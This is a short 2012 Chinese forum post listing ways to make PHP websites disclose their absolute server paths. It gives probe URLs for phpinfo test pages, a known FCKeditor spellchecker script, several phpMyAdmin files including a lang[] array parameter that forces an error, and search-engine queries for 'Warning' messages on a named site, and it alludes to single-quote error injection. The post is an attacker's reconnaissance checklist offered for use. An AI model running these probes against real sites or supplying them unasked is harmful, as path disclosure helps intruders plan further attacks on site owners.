admin 发表于 2012-9-15 13:49:11

php爆绝对路径方法大全

1.测试test.php   info.php    php_info.php   phpinfo.php

2.扫描看有没有fck编辑器,如果有就用fckeditor\editor\dialog\fck_spellerpages\spellerpages\server-scripts\spellchecker.php爆

3.看看有没有phpmyadmin或者phpMyAdmin利用phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
4.利用搜索引擎爆绝对路径
site:www.huangse.com Warning
site:www.huangse.com inurl:Warning

等以后慢慢往上补吧,利用单引号的方法俺就不说了。。。
页: [1]
查看完整版本: php爆绝对路径方法大全